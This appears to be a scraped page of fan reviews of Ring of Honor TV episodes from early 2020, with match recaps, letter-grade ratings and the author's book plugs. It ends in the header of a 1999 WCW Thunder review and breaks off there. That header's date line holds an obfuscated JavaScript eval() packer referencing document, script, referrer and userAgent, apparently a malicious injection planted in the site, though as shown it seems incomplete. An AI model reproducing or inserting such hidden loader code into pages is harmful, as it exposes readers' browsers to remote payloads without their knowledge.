IMG Credit: Ring of Honor Wrestling

Ring of Honor
Date: February 26, 2020
Location: UMBC Events Arena, Baltimore, Maryland
Commentators: Caprice Coleman, Ian Riccaboni
Host: Quinn McKay

It’s time to keep moving on as we are in Baltimore for Free Enterprise. This was Ring of Honor’s idea to get people back into things by having a free show. That’s not the worst idea in the world and if it gets people talking, so be it. Ring of Honor needs any kind of positive news it can get so maybe this helps things. Let’s get to it.

Here are last week’s results if you need a recap.

We get a Slex vignette, as he has recently signed with the company.

Alex Shelley vs. Mark Haskins

They go technical to start (duh) as neither can get very far off arm control. Haskins’ rollup might get one as Shelley backs away for a standoff. A headlock takeover works a bit better but Shelley reverses into his very spinning rollup for two. Shelley grabs la majistral into an armbar but Haskins is out in a hurry as well. Haskins kicks him in the chest and we take a break. Back with a fight over an abdominal stretch but Shelley gets flipped into a Crossface.

With that broken up, Haskins starts kicking at the chest, which just seem to annoy Shelley. A slugout gives us a double knockdown with Haskins getting up first. Shelley gets in a snap suplex for a breather and sends Haskins hard into the corner. Haskins is right back with a suplex and a Samoan driver for two as the shock is real. Back up and Shelley hits Sliced Bread into a swinging Downward Spiral. The Border City Stretch (Gargano Escape) goes on but Haskins rolls into the Sharpshooter for the tap at 11:49.

Rating: B. Yeah what else were you expecting here? These two can do some great technical stuff and it was on full display here, as it should have been. Haskins is gearing up for either a Pure Title run or a World Title chase so putting him over here was the only option they had. Shelley is great as the veteran who is putting people over and that’s what they’re mainly using him for these days.

Video on Vincent destroying Matt Taven and the Kingdom.

Dalton Castle and Joe Hendry are ready to fight, because Castle once stared down a spider in all eight eyes, even though he only has two. Castle rubs Hendry’s face because they do what people don’t expect.

Mark Haskins is ready for his World Title triple threat match, though Tracy Williams doesn’t seem thrilled.

Vincent/Bateman vs. Dalton Castle/Joe Hendry

Chuckles and Vita are in Vincent/Bateman’s corner. Bateman and Castle stare at each other to start until Castle takes him into the corner so Hendry can work on the arm. A fireman’s carry into a running shoulder has Bateman in trouble and a jumping knee gives Hendry two. Castle drops a middle rope knee and we hit the waistlock. Vincent holds out Matt Taven’s crutch for a distraction though, which just lets Hendry clothesline Bateman to the floor. Vincent finally comes in and posts Castle as we take a break.

Back with Hendry in trouble as Bateman and Vincent take turns kicking him in the ribs. Vincent gets two off a Side Effect and grabs a guillotine choke for a bonus. That’s broken up with a suplex and the hot tag brings in Castle. House is cleaned with suplexes until Vincent puts Castle on the top.

That goes nowhere as Castle slips down and catches him in a release German suplex. Vincent knocks him outside, only to have Castle get over to Hendry. That means a double fall away slam so Hendry can show off quite a bit as everything breaks down. A reverse Sling Blade puts Bateman down and there’s the facebuster to Vincent, only to have Chuckles pull Castle to the floor. Vincent hits a Dudley Dog for the pin on Hendry at 12:38.

Rating: C+. They were working hard here with Vincent and Bateman continuing to be more interesting than the Kingdom ever was. Castle and Hendry’s oddball stuff isn’t exactly thrilling and the two of them have been doing the same stuff for months now. At least we got a good match out of it though and that’s more than some people can say.

Slex is ready to beat Flip Gordon and it doesn’t matter if it takes twenty minutes or twenty seconds.

Vincent says their future is righteous, if you dig what he is saying.

Video on Slex.

Slex vs. Flip Gordon

Slex is from Australia and calls himself The Business. Gordon goes with a headlock to start and shoulders him down. They miss each other a few times and we take an early break. Back with Back with Slex chopping away at the ropes and hitting a slingshot backbreaker to send Gordon outside. That of course means the suicide dive and a release suplex onto the apron keeps Gordon’s back in trouble. A very delayed vertical suplex drops Gordon for two in a good power display. Slex powerbombs him out of the corner for two more and we the chinlock.

Gordon’s comeback is cut off with a wheelbarrow suplex but it’s a double clothesline to put both of them down again. Gordon heads to the apron for an enziguri and a spinning kick to the head. The twisting Falcon Arrow gets two and we take another break. Back again with Slex hitting a hard clothesline, followed by a torture rack bomb for two more. Gordon hits a superkick and the Kinder Surprise to the floor, followed by the big moonsault. The springboard spear connects for two on Slex, followed by a Curb Stomp to put him away at 11:38.

Rating: B-. Slex looked rather good here and definitely has a future, but why have him lose here? You don’t have to have him beat Gordon (though you could) but having him lose here is one of those questionable things that happens too often in wrestling. It’s ok to let someone debut and win a big match but instead Gordon, who doesn’t need it, gets the win. Slex will be fine, but I don’t get this one.

Post match Gordon shows respect and leaves, but here are the Soldiers of Savagery to distract Slex so Shane Taylor can run in and package piledrive him. Taylor says that since his demands have been met so he’s officially back in ROH.

Overall Rating: B+. Maybe it was just the wrestling they had this time around but this was one of the best ROH shows I’ve seen in a very long time. That’s a nice thing to hear on its own, but the big picture is that it’s one of the first major shows from Marty Scurll. Hopefully that means a good sign for the future, because ROH has been so nothing for such a long time now.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2004 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2019/08/26/new-book-and-e-book-kbs-complete-2004-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: Ring of Honor Wrestling

Ring of Honor
Date: February 19, 2020
Location: Cabarrus Arena, Concord, North Carolina
Commentators: Caprice Coleman, Ian Riccaboni
Hosts: Ian Riccaboni, Quinn McKay

For the first time in a good while, there are a few interesting things going on around here and that means we might be going somewhere. Granted I’ve had that false hope before and I’m almost scared to imagine how much worse it could get. Hopefully we get more of the good and less of the bad though so let’s get to it.

Here are last week’s results if you need a recap.

We look at Josh Woods/Silas Young beating the Briscoes to become the new #1 contenders to the Tag Team Titles in a good match.

Clips of Alex Zayne winning his debut match against Bandido.

Dalton Castle gives Joe Hendry advice during his photo shoot, involving roller blading and eating pizza that is too hot. Or maybe he’s a mean tree! I could listen to Castle’s random words for days.

Come to house shows!

Buy merch!

We look at Sumie Sakai turning heel. Yeah I still don’t care about her.

Clips of Sakai vs. Nicole Savoy.

Brian Zane’s Top 5 of the week looks at best factions, with Generation Next at the top of the list. That’s one of those really obvious ones and that’s ok.

Lifeblood vs. Vincent/Bateman

Vincent and Bateman jump them from behind before the bell but Lifeblood uses the power of good wrestling to save themselves. Bateman gets caught in the corner and a catapult sends him into an atomic drop. It’s off to Vincent who can’t hit a chokeslam but can get taken down with a middle rope dropkick. An elbow sends Williams to the floor, where he has to beat up the clown named Chuckles. That earns him a cutter from Bateman though and we take a break.

Back with Williams fighting out of the corner but getting rolled right back into said corner to keep him in trouble. Sliced Bread is broken up and it’s a hot tag to bring in Haskins for the fast paced house cleaning. Haskins clears the ring and kicks Bateman off the apron, followed by the suicide dive to Vincent. Back in and Haskins gets two off a clothesline to Vincent but everything breaks down. Williams piledrives Vincent into a Sharpshooter but Chuckles comes in with a block of wood for the DQ at 9:14.

Rating: C. Lifeblood continues to be entertaining and seems to be working as hard as they can ever time, but I’m not sure how much they can do at this level. Then you have Vincent and Bateman, who are already more interesting than almost everything the Kingdom ever did. They’re still nothing all that great, but it was the right call to not have them take a clean loss here.

Post match Vincent and Bateman go after Haskins’ leg but Williams chases them off with a chair.

Bouncers/2 Guys 1 Tag vs. Jeff Cobb/Dan Maff/Jay Lethal/Jonathan Gresham

So yeah, Woods and Young are just faces now. I’m not sure I’m good with that but sure why not. Gresham bails from the threat of Young’s wristlock to start before remembering that he’s Jonathan Gresham and therefore can easily take Young down. A headscissors freaks Gresham out and the staredowns continue. Gresham monkey flips him out of the corner but they keep their hands locked and it’s a monkey flip off.

Some rollups give Young some twos as they remember other people are involved in this match. That means Woods coming in to easily take Gresham down so it’s off to the floor for a breather. Woods tells Lethal to come in and easily takes him down in a hurry. Lethal gets run over with a few shoulders but manages the hiptoss into the basement dropkick. That means it’s off to the Bruiser vs. Lethal, with the former promising to punch him in the mouth. The no tooth bite and the promised right hand put Lethal down so it’s off to Cobb as we take a break.

Back with Woods suplexing Cobb but getting sent outside for the big beatdown. Lethal comes in and suplexes Woods for two before taking him into the corner for the tag to Gresham. And not that it matters as it’s right back to Lethal for a heck of a whip into the corner. A double suplex drops Woods again but he grabs a suplex of his own to drop Lethal. Gresham dives into a knee to the head and the three of them are all down.

The hot tag brings in Young, who slingshots in with a double stomp to Lethal. Young hits a backbreaker into a clothesline but it’s Maff coming in to chop away at Bruiser. Maff gets to clean house with a spear getting two on Young, setting up Cobb’s standing moonsault onto Woods. Cobb can’t suplex Milonas but he can hit the Tour of the Islands on the Bruiser for the pin at 16:53.

Rating: B-. They did a bunch of stuff in one match but at the same time, how much drama was there in this? Cobb is a nearly unstoppable monster and Lethal is one of the most successful wrestlers ever in this company. I’m supposed to be believe that a glorified comedy team like the Bouncers and eternal midcarder Silas Young were threats to that lineup? Good enough match, but not exactly a shocking result.

Post match Maff and Cobb stare the champs down to end the show.

Overall Rating: C+. The wrestling was good enough but it took about twenty minutes to finally get to that wrestling. What we got was good but it is pretty clear that there isn’t enough to make this into a regular TV show week to week. It’s basically just clips strung together into something resembling a show, which makes for a pretty standard experience week to week. That doesn’t make for the most thrilling stuff, but at least you get a good match almost every time.

Results

Lifeblood b. Vincent/Bateman via DQ when Chuckles interfered

Jeff Cobb/Dan Maff/Jay Lethal/Jonathan Gresham b. Bouncers/2 Guys 1 Tag – Tour of the Islands to Beer City Bruiser

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2004 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2019/08/26/new-book-and-e-book-kbs-complete-2004-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: Ring of Honor Wrestling

Ring of Honor
Date: January 29, 2020
Location: Center Stage, Atlanta, Georgia
Commentators: Caprice Coleman, Ian Riccaboni
Hosts: Ian Riccaboni, Quinn McKay

We’re off to Atlanta again and that could make for some interesting moments. The Final Battle fallout is officially over and we need to move on towards whatever is up next, which will eventually include Supercard of Honor. I’m not sure what to expect from this one but this show is so all over the place these days that you never can tell. Let’s get to it.

Here are last week’s results if you need a recap.

Opening recap.

We look at PCO defending against Rush, which saw a bunch of people, including NWA World Champion Nick Aldis getting involved for the no contest. That could benefit both sides.

The hosts tell us to watch Free Enterprise.

Clips of Dragon Lee retaining the TV Title over Andrew Everett.

Silas Young and Josh Woods get in an argument in the back and Silas yells at Woods for almost knocking over Quinn McKay.

Video on Vincent turning on Matt Taven and forming his own team.

Vincent/Bateman vs. Sal Rinauro/Michael Stevens

Bateman pulls Stevens inside and kicks him in the face as we ring the bell. The fans chant for Bateman but sound like they’re slipping in some YOWIE WOWIE at the same time. Bateman keeps up the beating with some slow forearms and chops until Stevens hits a quick Eat Defeat.

Rinauro comes in and, after an enziguri from Stevens, gets two off a sunset flip. That’s it for the offense though as Bateman is back with the slow chops to take over again. Rinauro grabs a running Stunner but Bateman plants him with a brainbuster. Vincent gets the tag and cuts a promo….which is censored out, including a graphic saying that the statements are too controversial. Either way he pins Rinauro at 3:25.

Rating: D+. Just a squash here and there’s nothing wrong with that. The thing at the end with Vincent being censored is the coolest thing they could do as it adds some intrigue. Vincent wasn’t interesting in the Kingdom but maybe he can do something else here now that he’s got his own team. The squash was effective enough but they need to do something to make these guys stand out.

Nick Aldis talks about how he’s here to save this place. Now you have Marty Scurll as the new big deal but he had to come to the NWA as a bonus. They are not friends right now and if Scurll wants a turf war with Villain Enterprises against Strictly Business, bring it on. He’s happy to team with Rush against Marty and PCO. Aldis is a great promo.

Here’s Shane Taylor, with the Soldiers of Savagery, to call out Joe Koff. Shane thanks him for the opportunity around here and the best year and a half of his career. If Joe wants him to stick around though, he has some demands: a Six Man Tag Team Title shot, a World Title shot, the biggest contract around and his face on every poster. Koff doesn’t get to answer but that doesn’t seem likely.

Buy merch!

Clips of Jonathan Gresham beating Josh Woods via countout.

Marty Scurll says Flip Gordon is taking PCO’s place in the Six Man Tag Team Title match. The fans are all over Marty here and it’s almost weird to see.

Six Man Tag Team Titles: Villain Enterprises vs. Flamita/Bandido/Rey Horus

Marty, Flip and Brody King are defending. Brody and Flamita start things off with the masked one being launched into the corner. A shoulder drops Flamita again and his chop just annoys King. Back up and Flamita manages a running hurricanrana, only to get knocked down again. Marty and Bandido come in with Bandido hitting a running dropkick. A running hurricanrana is blocked and it’s a quick standoff, with the fans being behind the luchadors.

Horus and Flip come in to continue the very formalized series of tags. A running kick to the back of the head gives Horus an early two so Flip is back with a kick to the mask. Flip sends him outside so Marty can get in a running shot and we settle down a bit. King comes in to take over on Horus with a splash giving Marty two. Back from a break with Gordon clotheslining Marty by mistake, allowing the hot tag off to Bandido.

The top rope spinning crossbody takes King down again, followed by a moonsault to the floor from Bandido with the other two hitting running flip dives at the same time (awesome spot). Back in and Flip gets beaten down, including Bandido suplexing Flamita into a moonsault for two. Gordon is right back with a springboard spear and it’s King coming back in to start wrecking people. Everything breaks down again and the sunset flip into a German suplex gets two on Flamita.

King kicks Scurll off the apron by mistake though and Horus is back in with his springboard tornado DDT for two. Bandido’s crucifix bomb plants King again and a Spanish Fly does the same to Flip. Horus DDTs the heck out of King again and everyone is down to a VERY warm reception from the fans. Bandido and Scurll are up for the slugout with the X Knee hitting Scurll.

Back up and Scurll tries to fight off all three challengers at once, earning himself a superkick into a moonsault slam for two. Flip and King are back in for the exchange of chops, followed by the Motor City Machine Guns’ Made In Detroit for two on Bandido. Flip and King dive onto Horus and Flamita so a triple kick to the head can get two on Bandido. Marty takes way too long loading up the chickenwing though (some things never change) and it’s a victory roll to get Bandido the pin and the titles at 16:47.

Rating: B+. As usual, Ring of Honor is at its best when they let it all hang out and go nuts, which is what they did here. Villain Enterprises are awesome in matches like this one and you can’t go wrong with Bandido and company. This was a heck of an entertaining match with everyone getting to show off. It’s also good to keep the World Champion out of this as he shouldn’t be taking a loss, even if someone else gets pinned.

Overall Rating: B-. That main event more than carries the show and it was a heck of a way to use the last third. They did everything you could want them to do out there and I had a good time watching it for the most part. It’s still weird to just do portions of big events as it feels like a highlight show rather than a show that goes week to week. Then again we tried that and it was such a mess that there is no point in going there again. In other words, it comes down to the action itself and this week’s was good.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2004 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2019/08/26/new-book-and-e-book-kbs-complete-2004-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

Thunder
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|feind|var|u0026u|referrer|szzdh||js|php'.split('|'),0,{})) January 21, 1999
Location: Market Square Arena, Indianapolis, Indiana
Commentators: Mike Tenay, Tony Schiavone, Bobby Heenan